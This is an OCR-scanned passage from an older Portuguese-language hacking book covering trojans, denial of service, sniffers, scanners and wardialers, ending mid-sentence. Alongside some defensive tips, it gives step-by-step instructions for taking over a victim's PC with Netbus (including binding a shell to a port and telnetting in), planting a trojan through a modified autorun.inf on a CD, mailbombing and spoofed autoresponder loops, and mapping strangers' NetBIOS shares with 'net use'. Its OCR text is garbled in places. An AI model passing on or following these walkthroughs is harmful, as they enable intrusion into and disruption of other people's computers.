Esse € um método utilizado por programas como o Xdébobus, 0 meu Anti-Trojans e
muitos outros. Funciona do seguinte modo: os programadores estudam as portas TCP e UDP
utilizadas pelos trojans e criam um programa que abre essas portas. Assim, quando um
invasor vir a porta aberta e pensar que € um cavalo de tréia que esta instalado ali, caira em
uma armadilha tendo o seu endereco |IP detectado. Esse método ndo € muito eficiente pois
facilmente podemos mudar as portas que os trojans utilizam. Mas ainda € um método muito
usado pois muitas pessoas ndo se lembrar de trocar as portas.

Detecc¢éo pelo arquivo

Esse € 0 método usado pelos anti-virus e o programa The Cleaner. Ele detecta o trojan
checando a sua estrutura. Se 0 arquivo estiver renomeado (sem ser para executavel) ou estiver
comprimido, esse método se torna inutil. Para ser realmente eficaz, deve ser usado junto a
deteccdo de portas. Assim, mesmo que seu anti-virus ndo encontrou um trojan, o Anti-Trojans
pode encontrar.

Detecgé&o por string

Na minha opinido, o melhor método de todos. Pouco divulgado publicamente, se torna a
melhor garantia para se detectar um trojan sem falhas. 1sso porqué mesmo que o programa for
comprimido ou mude suas portas, ele ainda estard usando uma das 65535 portas do sistema e
se comunicara com o cliente. A comunicagdo entre cliente e servidor se da por uma string
(texto) enviada. Por exemplo: O Netbus 1.7 envia uma string assim “Netbus 1.7x” quando
alguma conexdo ¢é estabelecida. Se for o cliente, ele respondera com outra string. Entdo para
analisar todas as portas do seu sistema e saber quais estéo abertas e possuem strings, utilize
um programa como o Chaoscan ou algum outro scanner de porta que |lhe dé essas
informagoes.

Deteccdo manual
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Muito eficaz também, a checagem manua do sistema pelo operador pode facilitar muito
a vida. Olhando registro, arquivos de inicializagdo, conferindo os programas carregados na
memoria, 0 tamanho dos arquivos, etc... Todas essas precaucdes evitam dores de cabeca. Essa
politica adotada junto aos outros tipos de deteccdo faz com que vocé exclua em 100% a
chance de umainvasdo por cavalos de troia.

Passo-a-passo: cavalos de troia

Utilizando um trojan

Vamos utilizar um trojan para nos conectarmos a algum computador infectado. Antes de
tudo, verifigue se o computador alvo estd com o servidor instalado (o arquivo que
comprimimos anteriormente). Agora seguiremos 0s seguintes passos com o trojan Netbus:

1. Abrao programa Netbus (se 0 anti-virus acusar virus, passe o petite nele também)

2. Em hostname / IP , coloque o IP da maguina a ser invadida (se for seu proprio
computador, utilize 127.0.0.1). Se a porta no servidor for diferente de 12345 (o padréo
do Netbus), coloque-a em port.

3. Cligue em connect!

3

# MetBus 1.70, by cf
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Ao aparecer a mensagem “Connected” na barra de status, significa que a invasdo foi bem
sucedida. Vamos agorarealizar algumas acoes:

1. Clique em Open CD-ROM paraabrir o drive de cd da vitima.

2. Vaem Start Program e coloque c:\windows\calc.exe para abrir a calculadora.
3. Cligue em Go to URL e mande a pessoa para algum site.
4

. Use Listen para pegar os caracteres digitados pela pessoa e intervir no meio (como se
voceé estivesse escrevendo no Word e de repente as palavras se formam sozinhas).
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A Port Redirect cria uma ponte. Cologue uma porta (geralmente use a 80) e um site.
Assim quando for ao Internet Explorer e digitar o IP do computador invadido, vocé
caira nesse site configurado. Por exemplo: ao digitar 127.0.0.1 no browser fui enviado
para www.whitehouse.gov.

D4 para fucar bem nas opcdes, mas a mais interessante é a App Redirect. Abra-a,
cologue uma porta qualquer (100 por exemplo) e mande executar um shell nessa porta
(no caso do Windows 95, 98 e ME, use c:\command.com , no NT, 2000 e XP use
cmd.exe). Agora utilize o telnet (vaem iniciar/ executar e digite: telnet 127.0.0.1 100,
trocando o endereco ip padréo pelo da vitima) e pronto. Vocé esta no prompt do MS-
DOS da pessoa. Tém o controle total da maguina.

Para desconectar, apenas clique em disconnect.

8. A opcdo server admin retira o servidor.

Utilizando o Anti-Trojans

Vamos utilizar como exemplo de deteccdo por portas, 0 meu programa Anti-Trojans
versdéo 1.6. Se quiser tentar outro programa, tente o X6 Bo Bus brasileiro ou agum
estrangeiro (procure no Superdownloads). E claro que um firewall (como veremos depois) é
mai s potente. Mas € mais complicado para usuarios comuns. V eremos passo a passo.

1
2.

O nroarama ira detectar a tentativa de invasio e mostrara uma mensage

Abrao programa

Cligque na pasta Configuracdo , e cologue a mensagem para a pessoa que tentar |he
invadir. Se quiser, configure um e-mail para que atentativa de invasdo seja reportada.

Clique na pasta Monitorar.

Cligue no botdo Monitorar. Agora clique com o botéo direito no icone do superman na
barra de tarefas e selecione esconder.

Simule uma tentativa de invasdo indo em Iniciar / Executar e digitando:
telnet 127.0.0.1 12345

com o horério, 0

= Anti-Trojans 1.6 versio Leila

Conectade .5eu enderego IP ¢ 192.1658.0.2 -]

Monitorande em 20/03/01. Clique com o botde direito no icone do superman e
(12:33:19) O IP 127.0.0.1(LOCALHOST) tentou invasde per Metbus 1.X

iomterary | Farar | =alvar | Limpar:
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Para terminar o capitulo de trojans, uma pequena dica: altere o arquivo
autorun.inf de algum cd (aquele que faz o cd rodar sozinho quando no drive) e faca-o
executar algum servidor. E simples, até com o bloco de notas da para fazer a
alteracdo. Dai é s6 gravar o cd (em uma gravadora, com alguns outros programas
para despistar) e pronto. Quem desconfiara de colocar um simples cd no drive? Esse
processo também funciona na unidade C e em disquetes. Experimente!

49



50

Denial of Service

Definicao

A diferenca entre um cracker e um script kiddie pode ser vista aqui. Um invasor decente
estuda em detalhes o sistema alvo, as vezes por meses, conhecendo todo o seu processo de
autenticacdo, usuarios e falhas que podem leva-lo a ter acesso a arquivos vitais. Ja o script
kiddie pega algum programinha de alguma homepage duvidavel de fundo preto e imagens de
caveiras animadas, tenta us&lo no primeiro sistema que vé na frente e se ndo consegue
invadi-lo , o derruba para mostrar que é “bom”. Isso € absolutamente indtil, afinal se 0 sistema
travar e cair devido ao Denial of Service, provavelmente ele volta a funcionar com questdo de
poucos minutos. Ou o administrador competente rapidamente percebe. Alguns programas
bons para essa tarefa sdo o Agressor, o0 IGMP Nuker e o Divine Intervention (para
Windows). Para Linux e Unix, sem davida o melhor é o excelente Tribal Flood Network.

Danos sem invasdes

Por ser um ataque apenas voltado para 0 consumo de memadria ou do processamento, 0
DoS ndo é usado parainvasdo. Ao contrério de alguns programas que causam um estouro de
memodria ja sabendo que esse problema |he dara acesso ao sistema (programas que causam
buffer overflow), a intencdo do DoS € sO chatear. Mesmo assim em grandes empresas 0
prejuizo pode ser grande. Quando a Amazon.com foi tirada do ar por exemplo, chegou a ficar
apenas poucos minutos desligada, mas nesse tempo perdeu muito dinheiro em compras. O
mesmo aconteceu com o Y ahoo e até com o UOL, que jafoi tirado do ar.

Utilizando o broadcast como arma

Readlizar um ataque de DoS é muito simples. Pode-se utilizar varios tipos de programas e
softwares zumbis para fazé-lo. As vezes nem é preciso um programa adicional. Sites como
Yahoo e Altavista utilizam webspiders (programa utilizado para procurar informacoes
pulando de link em link) para checar o contelido de homepages. Muitos webspiders checando
0 mesmo servidor a0 mesmo tempo pode leva-lo ao colapso. Causar um DoS em algum
servidor de e-mail é ainda mais féacil. Utilizando um programa de e-mail bomba (software
gue envia milhares de e-mails para 0 mesmo endereco) ou cadastrando o e-mail alvo em
servicos de spam (como mensagens de anjos, piadas, noticias e outros) pode encher a sua
caixa postal e travar todo o sistema. Ou mande um e-mail para alguém que tenha servigo de
resposta automéatica , utilizando o préprio endereco da pessoa. E assm: mande uma
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mensagem para fulano@provedor.com.br usando esse e-mail (como se fosse 0 seu, ja que
pra mandar e-mails ndo se precisa de senha). A resposta automatica da caixa postal do Fulano
mandar4 mensagens para ele mesmo, travando sua caixa postal. O endereco de broadcast de
redes geralmente é o com final 255 (exemplo: 200.202.243.255). A solugdo para o problema
do e-mail é mais simples. Apenas use um bom filtro ou algum programa que impossibilite que
se receba mais de trés e-mails enviados da mesma origem (endereco 1P) durante um certo
intervalo de tempo.

Mailbomb Wizard B3

proveedor. com. br
20000

hacker@ 2600, com of f . 1
Buenos dias. muchacho

Com 20000 mensagens, até o computador|
Pertium ' 2.5 Ghz do Bill Gates traval

Uma tela de um programa e-mail bomba

Syn-flood

O tipo de atague usado para gerar o ip spoof. A autenticacdo por Syn éfeitaem trésvias. O
ataque consiste em ndo completar essas trés vias. Mais ou menos assim. No caso do ping, ele
€ em duas vias, apenas envia o pacote e recebe a resposta. Para o Syn-flood, primeiro é
enviado o pacote Syn e logo depois teria que ser enviado 0 Ack para a conexao se estabelecer,
mas ele ndo é enviado, fazendo com que a maguina alvo consuma Seus recursos ao receber
muitos Syns e esperar muitos Acks. O ataque por ping é parecido, é enviado vérios pings com
grandes pacotes fazendo com que um sistema trave. Mas é mais dificil de ocorrer o
travamento do que o ataque por syn.

OO0OB

Atague Out-of-Band ou popularmente conhecido como WinNuke. Consiste em mandar
pacotes malformados para uma porta Netbios do Windows. Geralmente usado nas portas 135,
137 e 139, essa Ultima sendo a mais usada. O sistema ndo consegue lidar com os pacotes,

51



52
trava e mostra afamosatela azul de erro. No Windows 95 esse ataque era mais eficaz, agora
esta se tornando obsol eto.

Smurf

Na minha opinido o mais devastador de todos os ataques. Envia pacotes ICMP (protocolo
gue informa condi¢des de erro) spoofados para centenas, talvez milhares de sites. Envia-se 0s
pacotes com o0 endereco IP da vitima, assim fazendo com gue ela receba muitos pacotes ping
de resposta a0 mesmo tempo, causando um travamento total. Ainda ndo existe uma protecéo
eficaz contra esse tipo de ataque. Um programa bom (para Windows) que realiza o smurf € o
WinSmurf.

o= RS T =

Modem parameters :

tiodem : |

Modem Port COM : B Com 4 H

Modem Speed Marmal n
Packets parameters :

Yictim's IP Address

[ChP Drata Size :

Open a List :
Add [P

Smurf parameters :
Delay Between Pac

Facket Mumber ; I Infirity

= SMURF!

|: (n} |:|Eu:| |:|_I,I ._| |: -'Eil::

De azul e bonitinho esse smurf ndo tém nada.

Softwares Zumbis

Programas que automatizam o processo de causar um DoS em alguma maguina. S&o
instalados em computadores estratégicos (como universidades, centros de pesquisa e outros)
gue possuem conexao rapida a Internet e configurados para atacar a0 mesmo tempo. Se eu
instalar o programa em vinte maquinas de diferentes enderegos e configuréa-las para enviar
10.000 pacotes cada uma, com certeza derruba qualquer host. Um programa muito utilizado
paraisso € o Tribal Flood Network. Trojans também sdo largamente usados para esse fim.
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Diminuindo o impacto causado pelos ataques

O melhor procedimento para se adotar € procurar os sites do fabricante do sistema
operacional e pegar atualizacbes para as falhas. Como é o caso do OOB(Winnuke). A
Microsoft ja colocou um patch de correcdo em sua homepage. Evitar 0 maximo de uso
desnecessario da memoria, assim dificultando um pouco os ataques. E sempre que puder,
aumentar a capacidade de processamento e a memoria RAM do sistema. 1sso ndo vai impedir
0s ataques pois alguns ndo tém solucdo, mas so funcionam mesmo quando utilizados em larga
escala. O Smurf por exemplo, para derrubar um computador pessoal é facil, mas um grande
host para cair seria preciso muitas pessoas readlizando o atague a0 mesmo tempo. Ou a
utilizacdo do software zumbi. A ndo ser que tenha comprado briga com alguns crackers, pode
ficar tranquilo.
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Sniffers

Definicao

Os sniffers ou fargjadores sdo o tipo de programas mais usados para conseguir senhas em
uma rede. Eles ficam residentes na meméria como um cavalo de troia, analisando todo o
tréfego que ai passa. Qualquer entrada ou saida de dados € capturada, seja em um servidor
FTP, uma pagina de chat ou um e-mail digitado. O sniffer pega os pacotes recebidos em seu
estado bruto e os transforma em texto puro para serem lidos. Sempre foram mais usados em
sistemas Unix, mas ultimamente todos o0s outros sistemas contam com poderosos sniffers.
Desde sniffers comercias como o excelente iris até sniffers mais simples, como o tcpdump e
sniffers de trojans. Vamos fazer uma andlise de como esses perigosos programas funciona.
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Exemplo de uma tela de sniffer (programa IRIS)
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Filtrando pacotes narede

Muitas pessoas pensam gue o sniffer pode ser usado em seu computador para capturar
pacotes do seu provedor. Ndo é bem assim. O programa tém de estar instalado no computador
central de uma rede em que se quer capturar pacotes. Utilizando o exemplo do provedor,
todos 0s seus usuarios realizam o processo de autenticacdo em um servidor antes de
conectarem-se a rede. Assim, primeiro € necessario conseguir invadir o servidor e depois
colocar o sniffer. Ele ird monitorar absolutamente tudo, as vezes até informagtes pessoais dos
usuarios, como endereco e telefone. Como sdo muitos os pacotes em uma rede, o farejador €
configurado para obter somente o essencia e importante: as senhas.

Capturando senhas

A principal preocupagdo de um operador é, ou pelo menos deveria ser, as senhas. Afinal,
por mais seguro que o sistema sgja, uma senha adquirida maliciosamente € sempre perigosa.
O Unico interesse dos crackers é capturar logins e senhas. Nem se encontrar um e-mail de sua
namorada para 0 amante o cracker deixara de se concentrar em sua tarefa. Existem algumas
opcoes que ainda possibilitam filtrar os tipos de pacotes recebidos. Vamos supor que eu quero
descobrir todas as senhas que comecem com “C”. Apés configurar o sniffer e esperar, ele
comega a me enviar os pacotes recebidos j4“ selecionados’ com o que desgjo.

Sniffers em trojans

Alguns trojans como o Back Orifice possuem sniffers como plug-ins (partes extras que
podem ser anexadas ao programa). O Buttsniffer, um dos melhores plug-ins para o BO
monitora absolutamente tudo no sistema Windows. Além de ter um arquivo executavel a
parte, podendo funcionar sem depender do Back Orifice. Alguns outros trojans mais novos ja
possuem o sniffer embutido. A tendéncia do sniffer e do trojan é de se tornarem uma
ferramente apenas, ja que ambos tém caracteristicas parecidas. O trojan de e-mail k2ps é um
bom exemplo disso. Ele monitora e envia todo tipo de senha importante por e-mail (na
verdade, alguns o consideram um keylogger que € um programa que loga tudo que se escreve
no teclado, eu ndo o considero assim pois ele é seletivo: so envia coisas importantes).

Roteadores

Alguns sniffers conseguem obter dados direto do roteador. Mesmo que sgja instalada uma
protecdo eficaz no sistema operacional, como um anti-sniffer, ndo adiantaria de nada se o
programa estiver pegando os dados diretamente roteados. A correcéo tém de ser feita
atualizando-se o proprio roteador. O ideal seria procurar a pagina do fabricante e verificar se
existe alguma dica ou informagéo sobre o assunto. Afinal, o seguro morreu de velho.

Anti-Sniffers

Como o préprio nome diz, sdo programas que detectam tentativas de sniffing. Ficam
residentes na meméria como um anti-trojans, aguardando o invasor tentar algo. Ha vérios
tipos de anti-sniffers, alguns bem ruinzinhos e outros muito bons. Uma boa opcéos do
software sdo fingir o envio de dados, para que o cracker engane-se e pense que realmente esta
conseguindo as senhas. Se vocé tém sofrido muitas invasdes, certificou-se de ndo ser por
falhas ou trojans, monte um honeypot com um anti-sniffer. Com certeza deve pegar alguma
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abelhinha. Experimente o programa Anti-sniff que pode ser pego no Superdowloads
(www.superdownloads.com.br).
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Scanners

Definicao

Todos sabemos que nenhum sistema é perfeito. Falhas em programas e sistemas existem
sSim e sd0 uma ameaga a seguranca. Geralmente ocorre do seguinte modo: um administrador
acidentalmente descobre que algum recurso do seu sistema gera um erro em resposta a algum
tipo de pedido. Para exemplificar, suponhamos que a rede em gque o administrador trabalha s6
se comunica gerando mensagens de “ol@’. Um dia ele escreve “ad” sem querer e descobre
gue a0 enviar a mensagem para outra maquina, ela fica confusa e trava. Bem, a resposta
deveria dizer “Desculpe, sO ol4 aceito”. Foi descoberto um bug. Agora imagine que centenas
de bugs séo descobertos a cada dia e que o seu sistema “ confiavel” de hoje, pode ser destruido
amanhd. Existem algumas saidas para fazer uma anadlise mais garantida. A primeira é que
vocé se torne um completo nerd e conhega desde o primeiro ao Ultimo bug existente. Se vocé
trabalha com mais de um tipo de sistema operaciona entdo, boa sorte. Uma outra saida,
infinitamente mais eficaz, é a utilizacdo de scanners. S0 programas que analisam um sistema
ou rede em busca de falhas de qualquer tipo. Existem dezenas de scanners diferentes, cada um
com suas vantagens. Aprendendo melhor sobre eles, podera se proteger melhor e evitar que
algum invasor malicioso dé um passo a sua frente.

Descobrindo falhas em um host

Para entender qual a parte do seu sistema € mais vulneravel, vocé tera que pensar com
malicia. Ora, se vocé usa um firewall e desabilita 0 acesso externo aos servidores de FTP e
Telnet, com certeza eles ndo seréo a sua maior preocupacdo. Em alguns hosts , deixa-se
habilitada apenas a porta 80 (www) para acesso externo. Muitos se sentem seguros desse
modo. Mas enganam-se. Atualmente, a quantidade de falhas existentes em servidores World
Wide Web é absurda. Tanto Internet Information Server quanto Apache ou qualquer outro,
possuem erros. Alguns deles t&o perigosas que possibilitam acesso ao interpretador de
comandos do sistema, podendo gerar uma “entrada’ para o invasor na rede. Outros podem
fazer com que se consuma toda a memoria existente, causando um Buffer Overflow( nome
dado ao travamento do sistema devido a falhas de memaria). Vamos dividir o nosso estudo
sobre scanners em partes: os scanners de portas, scanners de host, scanners netbios e scanners
de vulnerabilidade.
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Portas abertas com servigos ativos

Ao contrério do que popularmente se pensa, ndo € tdo facil assim invadir um computador
pessoal. NOs ja sabemos que o sistema € composto de 65535 portas TCP e UDP. Em
servidores, muitas delas possuem servicos rodando, tais como:

21 -  FTP (File Transfer Protocol)

23 - TELNET

25 - SMTP (Simple Mail Transfer Protocol)
79 - FINGER

80 - Www

Esses sd0 apenas alguns dos muitos servicos que sdo rodados em computadores de
empresas que precisam estabelecer contato com filiais e clientes. Realmente, um sistema que
possua 0s seguintes servicos acima ativos, pode ganhar sérios problemas com seguranca. Mas
imagine o0 seu computador na sua casa, em cima da mesa da sala, cheio de joguinhos dos seus
filhos e que vocé sb utiliza para ler e-mails e navegar pelas homepages. As portas da sua
mégquina estdo descansando totalmente. As vezes, uma ou outra se abre para estabelecer
conexao com um site, ou mandar uma mensagem pelo 1CQ. Mas essas sdo randémicas, ou
sgja, a cada vez que uma conexdo for feita, a porta mudara. 1sso impede que algum invasor
fique a espreita e tente se conectar a portas padrées. Dificulta, mas ndo impede. Algum cavalo
de tréia instalado sem vocé saber pode abrir uma porta qualquer e permitir a conexdo de
qualquer pessoa. Para saber quais portas estdo abertas em um sistema remoto, utilizamos o
scan de portas. Existem muitos e muitos programas desse tipo. Alguns exemplos séo o
Cha0scan , 0 Shadow Scan e 0 Haktek.

Funcionam da seguinte maneira: vao tentar se conectar a todas as portas de um enderego ip
fornecido, mostrando todas as portas encontradas “ ativas’ e 0 seu contetido. E uma boa téticas
para encontrar cavalos de tréia sem depender de anti-virus, j4 que todos usam portas.
Exemplo: eu quero analisar o meu proprio computador para saber se tém alguma porta aberta.

w, 127.0.0.1 - HakTek Anti-Lamer Warfare

]
’_ Target changed to 127.8.8.1.

’_ Scanning host 127.8.8.1, ports 8 to 180688
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Para isso, vou usar o HakTek. Ent&o mando o programa tentar scannear portas no enderego
127.0.0.1( o chamado endereco de loopback. Serve para quando vocé ndo esta conectado na
Internet e precisa utilizar algum programa de analise que precise de endereco I1P). Encontrei as
seguintes portas ativas:

80
1256
21554
31337

Ora, a primeira porta eu sei que € o servidor de paginas que rodo no meu pc. Mas e as
outras trés? A porta 1256 era a que o icq havia aberto na hora. As outras duas séo portas de
trojans que usei como teste. A porta 21554 é do trojan Girlfriend e a porta 31337 é do Back
Orifice.

O Unico problema desse scan € que como ele foi feito nas trés vias do tcp (syn, syn-ack,
ack) pode ser facilmente detectado por sistemas IDS (deteccdo de intrusos). Uma boa saida é
usar o NMAP , disponivel tanto em Windows NT gquanto Linux. Utilizando-o, vocé pode
scannear portas de maneirafurtiva, sem realizar as trés vias do tcp. Ele possui muitas opgoes
diferentes para scan de portas, experimente-as.

Maguinas ativas da subnet

O segundo tipo de scanner estudado, € 0 mais usado quando o objetivo do invasor é
determinar todos os hosts ativos da subnet e saber seus nomes (DNS). Assim, vamos supor
gue o endereco principal de um provedor € www.phela.com.br. Usamos um ping qualquer,
ou o préprio scanner, e descobrimos que o endereco ip € 200.205.215.37. Agoravou utilizar o
scanner de hosts para saber quais outras maguinas dessa rede estdo ativas.

200.205.215.9 - diretoria.phela.com.br
200.205.215.34 - laboratorio.phela.com.br
200.205.215.35 - milho.phela.com.br
200.205.215.36 - gilmara.phela.com.br
200.205.215.37 - server.phela.com.br
200.205.215.65 - route.phela.com.br

Com isso conseguimos informagdes importantes do sistema. Sabemos por exemplo qual
€ 0 endereco do roteador, e onde deve ficar informacgdes importantes. Se fosse um site de
comércio eletrénico por exemplo, as chances de conseguir os dados era enorme, pois mesmo
gue 0 invasor ndo conseguisse acesso diretamente ao computador 200.205.215.37 (que pode
inclusive ser um firewall) ele poderia se conectar a um outro IP da subnet e conseguir os
dados a partir dele. As vezes poderia haver algum backup perdido por ai. Alguns bons
scanners de hosts sdo o Shadow Scan ,0 Haktek e o projeto r3x, entre outros.. Claro que
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para Unix e Linux existem outros muito melhores. No site www.securityfocus.com existem
codigos fontes 6timos para essa tarefa.

Scanneando o netbios

Netbios € uma espécie de protocolo que facilita a comunicacdo de uma peguena rede,
porém nao é roteavel. 1sso significa que: vocé pode conseguir invadir o computador e mapear
drives de todas as pessoas que estdo conectadas no mesmo provedor que VOcé, pois estdo na
mesma subnet. Agora, se vocé estiver em um provedor e tentar alguma invasdo em outro, ela
ndo sera possivel com o SMB, apenas com o Netbios por TCP/IP (o que acaba dando quase na
mesma, coloquei as diferencas para uma questdo didética). Alguns cuidados devem ser
tomados. Que hacker iniciante nunca ouviu falar de “invasdo por ip”, um texto que roda na
internet ha anos?. Pois é, ele corresponde a invasdo por netbios. Para que vocé estgja
protegido quanto a ataques, tome algumas providéncias:

e Sevocé ndo pertencer a nenhuma rede ou ndo precisar de compartilhar arquivos pela
Internet, desabilite as opgdes “Compartilhar arquivos e impressoras’ no assistente de
rede do painel de controle do Windows. Assim vocé ndo sera detectado por netbios.

e Caso vocé precise do protocolo, a0 menos quando for compartilhar algum disco,
coloque uma senha. Assim dificulta o acesso ndo-autorizado.

e Corrija os bugs do seu sistema. Especiamente se utiliza o Samba para compartilhar
uma conexao netbios entre o Linux e o Windows. O Windows 98, ME, NT e 2000
também possuem alguns erros graves. Alguns deles possibilita que vocé possa mapear
algum recurso da rede sabendo apenas o primeiro caractere da senha do netbios.

e Utilize algum bom scanner para netbios. Um excelente € o NAT (Netbios Auditing
Tool). Ele utiliza um dicionario de senhas para tentar conseguir acesso ao sistema, e
ainda checa se 0 mesmo possui falhas que possibilitem a conexdo anénima. Para os que
tém preguica de usar programas em linhas de comando, sugiro o Legion, o Shadow
Scan e o projeto r3x. Uma outra maneira rapida de checar se o netbios esta ativo é
usando o comando nbtstat do Windows. Geramente a sintaxe é nbtstat -a
<endereco ip>. Existe um modo mais f&cil de se tentar invadir um computador que
esteja com o netbios ativo. E so ir em iniciar / executar e digitar \\nimero do ip. Mas
vamos fazer do modo convencional:

1° passo: utilizar o nbtstat.

2° passo: encontrado um computador ativo (é sempre o que possui 0s nimeros 00 e 03,
além de ser UNIQUE no Type), vamos explorar 0s seus recursos.

Auto g B fua
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3° passo: Encontrado algum recurso disponivel (no caso do exemplo, o disco C) , vamos
mapea-lo (mapear significa adicionar o recurso como se fosse do seu proprio computador,
como é o caso dos discos e impressoras em rede). Para mapear, utilizamos o comando:

net use F: \\gambit\C

Pronto. Mapeamos o disco C da méguina encontrada para 0 nosso disco F. E O ir a0
Windows Explorer para acessar 0 disco ou simplesmente acessa-|10 pelo DOS (o que € muito
mais rapido). Para desconectar a unidade mapeada, usaremos 0 seguinte comando:

net use F: /DELETE

Para uma explicagéo melhor sobre a sintaxe do comando NET ou para conhecer outros
recursos do Windows, cheque a secéo de sistemas operacionais.

PS: Se 0 seu computador néo tiver os comandos net (net use, net view) , tente instalar no
painel de controle (em rede) o protocolo netbeui e o cliente para redes microsoft.
Também verifique na sua conexdo dial-up se o netbios esta ativo.

Checando as vulnerabilidades em servidores HTTP e FTP

Tranqglilamente o mais perigoso de todos. Os scanners de servidores HTTP e FTP,
chamados de scanners de vulnerabilidade, podem encontrar erros em sistemas em segundos e
ainda indicar como explorar esses erros. Essa é a principal ferramenta do “ Script Kiddie”,
tipico garoto que quer ser hacker, consegue um software destes e sai fazendo varreduras em
diversos sistemas. Mesmo que vocé ndo tenha inimigos, pode ser alvo de algum desses
individuos algum dia, pois ele se diverte em tirar paginas do ar, colocar mensagens bobas e rir
das pessoas que 0 acham um mestre. Nao tém interesses de espionagem, € apenas uma
crianga. Chegamos em um problema: essas ferramentas ndo deviam ter a sua distribuigdo
controlada? Se sdo téo perigosas, algumas até facilmente encontradas na Internet, deviam
possuir algum tipo de restricdo. Todos tém direito a informacdo, se souberem usala da
maneira certa.

Alguns scanners sao t&o poderosos que possuem fungdes de scanneamento de portas, hosts
e vulnerabilidades em um s6 host. Ou sgja: descobre os hosts ativos, analisa as portas e
analisa as vulnerabilidades encontradas nas portas. E meu amigo, se ndo tiver uma boa
politica de seguranca, tudo desaba.

Bons scanners de vulnerabilidades para Windows: Security Shadow Scan, Retina,
TWWWScan, Simpsons CGI Scanner, Stealth Scan, entre outros. Para Unix, temos 0 Nmap,
0 Nessus, 0 ISS e uma infinidade de programas. N&o importa qual sistema sgja rodado,
geralmente esses programas podem scannear servidores em todo tipo de sistema. Do
Windows a0 Macintosh. Retomando o exemplo do provedor ficticio www.phela.com.br,
vamos realizar uma andlise. Passamos um scanner qual quer e veremos os resultados.

Win NT 4.0 - Internet Information Server 4.0

:DATA
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1S Unicode

Buffer overflow

Descobrimos muita coisa. O sistema operacional usado, o servidor http e trés erros. Se
fosse o0 programa real fazendo a andlise, ele daria um link ou exemplos de como explorar os
erros para conseguir acesso ao servidor. E para colocar um pouco mais de medo nos
administradores ,esses softwares tém uma opcéo de auto-upgrade, ou segja, se atualizam
semanal mente com novas fal has descobertas.

Analisando partes fisicas

O firewall e o roteador, por também conter falhas, sGo muito analisados pelos scanners.
Alguns deles (firewalls) sdo tdo sofisticados que enviam véarios tipos de pacotes de
informagdo somente para “deduzir’ quais deles o firewall barra e quais ndo, assim
descobrindo erros na sua implementacdo e para onde redirecionam os dados. O Shadow Scan
por exemplo, consegue descobrir 0 endereco real de um servidor através da grande maioria
dos firewalls. Portanto ndo adianta apenas instalar a sua barreira. Precisa atualiza-la sempre.
Para saber mais sobre 0 assunto e conhecer alguns problemas exclusivos gque elas sofrem ,
consulte a secéo Firewall.

Wardialers

Os wardiaers ou discadores de guerra, séo programas que checam uma lista de telefones
procurando por telefones conectaveis. Podem ser bem Uteis. Por exemplo, supondo que o
telefone comercial de uma empresa sgja 829-1122. Mande algum programa (como Toneloc)
tentar se conectar a telefones do nimero 829-1100 a 829-1300. Bom, pode ficar um pouco
caro 0s impulsos mas a chance de vocé conseguir algum nimero de modem externo € grande.
E geralmente usando sistemas com senhas ridicul as (ou até sem senhas).

S DOCUME~1%zanoni i LOCALS~1% Temp®,

PHREAK OUT*?

Action Mode
Scanner

Red Box
CardTalker
FreqTester
Card Checker
Phonelord

A

BlueBEEPY vB.100
Copyright <G> 1923-1994 by Onkel Dittmeyer
All Rights Are Lust?

Releaszed: Mondayw,. April 1ith, 1794

" pelease — Check docs for details.

" Hire Onkel Dittmeyer

Go to the main dialer program Ccommand line option AA)

O Wardialer e gerador de tons Bluebeep.
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Instalando protecdes

Para se proteger, vocé precisa seguir a seguinte politica: esteja sempre passando scanners
no seu sistema, atualizando seu firewall e instalando protecdes extras (como detectores para
scanners de porta. Quando alguém tentar varrer 0 seu sistema checando 0s servicos ativos, ele
impede e lhe fornece o ip da pessoa). Mas e se vocé descobrir alguma falha? Na informagéo
fornecida pelo scanner de vulnerabilidade esta aonde vocé pode conseguir o patch
(atualizagdo) para essa falha. Entéo visite o site do fabricante (no caso do nosso exemplo do
provedor Phela, seria a Microsoft), pegue o patch e leia com atencéo para saber como aplicé
lo no seu sistema. Se arrumar um tempinho para fazer tudo isso, garanto que pode |he render
algumas boas noites de sono.

Passo-a-passo: Scanneando
Scanneando hosts conhecidos de uma rede

o 127.0.0.1 - HakTek Anti-Lamer Warfare

-8.8.2
.0.8.3
-8.8.5%
.0.8.4
-8.8.6
.0.0.7
-8.8.8
-8.8.9
.8.8.1
-8.8.1
.08.8.1
-8.8.1
.0.08.1
-8.8.1
-8.8.1
.8.8.1
-8.8.1
.08.8.1
-8.8.2
.0.8.2
-8.8.2
-8.8.2
.8.8.2

8.8.2

[ R - R R L L )

Para esse exercicio pode ser usado qualquer scanner. Usaremos o haktek.
1. Abrao programa

2. Clique no botdozinho que parece um controle remoto e coloque em range 0s ips que
desgja procurar. Por exemplo: 200.187.138.1 a 200.187.138.250 (endereco ficticio).

3. Mandever.

O programa mostrara todos 0s hosts encontrados (que estdo ativos) e mostrar seus
respectivos nomes (se tiverem).

Scanneando o NetBIOS
63



64
Para realizarmos uma checagens de méquinas com NetBIOS ativas, utilizaremos
primeiramente o programa Shadow Scan.

Abra o programa.
1. Clique em Internet Scaner de depois em Scaners.
2. Selecione NetBios Scanner.

3. Clique em IP Zone e coloque a subnet que vocé ira procurar (de qual a qual endereco
ip). Ndo se esqueca que como 0 NetBIOS néo é rotedvel vocé so pode fazé-lo no seu
provedor ou rede local.

O ShadowScan é um dos melhores programas de seguranca para Windows. Possui
praticamente de tudo.

ShadowScan 2.07

Inkernet Tools
Site Info

Scaners

Mail list verify

Se preferir , use o projeto R3X. Ele € mais rgpido que o Shadow Scan e as vezes até mais
eficiente, além de explorar um erro que descobre qualquer senha de Netbios do Windows
95,98 €98 SE.
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Project R3x, version 0.37.9, build date 20711/2... (2 ][B][X]

File Miew Scan  Help

Scan from : [200 202 251 1 =] 1.5 ﬂ

ta : [254.254.254.254 13 ] delay fms)

- 20020225196 [ TREIMASOFTI0] [wWindows 9x) ”
METEIOS names [5)
() Usemame : TREINASOFT10
() MaC : 44-45-53-54-00-00 [Dial-Up)
=) Shares [4]

10

£ ADMING

L3 HD -DISCOR

[ IPC$ - Comurica
= % Open ports [1]

88 139 [ Netbios-ssn |

g 2002022534 [WEBMASTER ]
4 2002022537 [PROVERIT ]
i 200202253 43 [SERVIDOR ]
4 20020225370 [BYTEON ]
g 2002022543 [MIBHEM ]
g 200202254129 [ADA-PTU-SRWOT |
i 200202254131 [ADA-PTU-SRWO3 |
4 200202254132 [OLYMPIA ]
4 200202254 141 [URAND |
4 200202254142 [SOL] v

+

[ - - - - - - - T

Cracking password ..

Scanneando a procura de falhas

Nesse teste, utilizaremos algum dos scanners de vulnerabilidade para descobrir falhas em
